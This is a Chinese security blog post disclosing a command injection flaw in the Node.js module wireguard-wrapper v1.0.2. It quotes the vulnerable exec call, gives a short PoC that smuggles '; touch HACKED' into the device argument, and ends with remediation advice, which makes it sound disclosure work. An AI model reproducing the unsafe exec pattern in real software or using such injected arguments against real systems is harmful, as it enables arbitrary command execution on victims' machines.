安全娱乐圈之攻防技术交流系列文章 第7弹

admin 2021年7月20日23:54:36评论52 views字数 1283阅读4分16秒阅读模式


安全娱乐圈之攻防技术交流系列文章 第7弹


1


Node.js第三方模块 wireguard-wrapper 在 v1.0.2 版本中存在命令拼接注入,该漏洞允许攻击者在受害者的PC上执行任意命令,发生此问题的原因在于,用户输入的参数参与执行命令而未经任何检查。


2


存在问题代码如下:

// https://github.com/rostwolke/node-wireguard-wrapper/blob/master/src/command/Wg.js#L58'use strict';const {exec} = require('child_process');...  static showconf(device){    return new Promise(function(resolve, reject){      if(!device){        return reject('No device/interface specified');      }
exec(`wg showconf ${device}`, function(error, stdout, stderr){ if(error){ return reject(`Exec error: ${error}`); } if(stderr){ return reject(`StdErr: ${stderr}`); }    ....

device参数作为输入传递给exec函数。



3.1 先创建一个测试目录

mkdir testcd test


3.2 安装wireguard工具


3.3 安装wireguard-wrapper模块

npm i --save wireguard-wrapper


3.4 创建以下PoC 文件(poc.js)

const { Wg } = require('wireguard-wrapper');
Wg.showconf('; touch HACKED').then(function(config){ console.log('wg0 configuration:', config); console.log('generated configuration file:', config.toString());});


3.5 执行poc.js文件,创建HACKED文件

node poc.js


4


4.1 禁止使用不安全的用户输入来串联执行命令;

4.2 对用户的输入进行严格的检查,过滤掉具有危害的语句;

4.3 使用 child_process.execFile 函数 或 child_process.spawn 函数代替child_process.exec 函数。


星光不问赶路人,岁月不负有心人!

安全娱乐圈之攻防技术交流系列文章 第7弹

    加油,网安人!


攻防技术交小圈子招募新成员

转发本文到朋友圈

集齐8个点赞

后台回复“ 技术交流 ”获取入群信息

凭点赞截图进入技术交流小群

上限99人,先到先得


安全娱乐圈之攻防技术交流系列文章 第7弹

● 安全娱乐圈之攻防技术交流系列文章 第1弹

● 安全娱乐圈之攻防技术交流系列文章 第2弹

● 安全娱乐圈之攻防技术交流系列文章 第3弹

● 安全娱乐圈之攻防技术交流系列文章 第4弹

● 安全娱乐圈之攻防技术交流系列文章 第5弹

● 安全娱乐圈之攻防技术交流系列文章 第6弹

本文始发于微信公众号(西子实验室):安全娱乐圈之攻防技术交流系列文章 第7弹

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月20日23:54:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全娱乐圈之攻防技术交流系列文章 第7弹http://cn-sec.com/archives/338902.html

发表评论

匿名网友 填写信息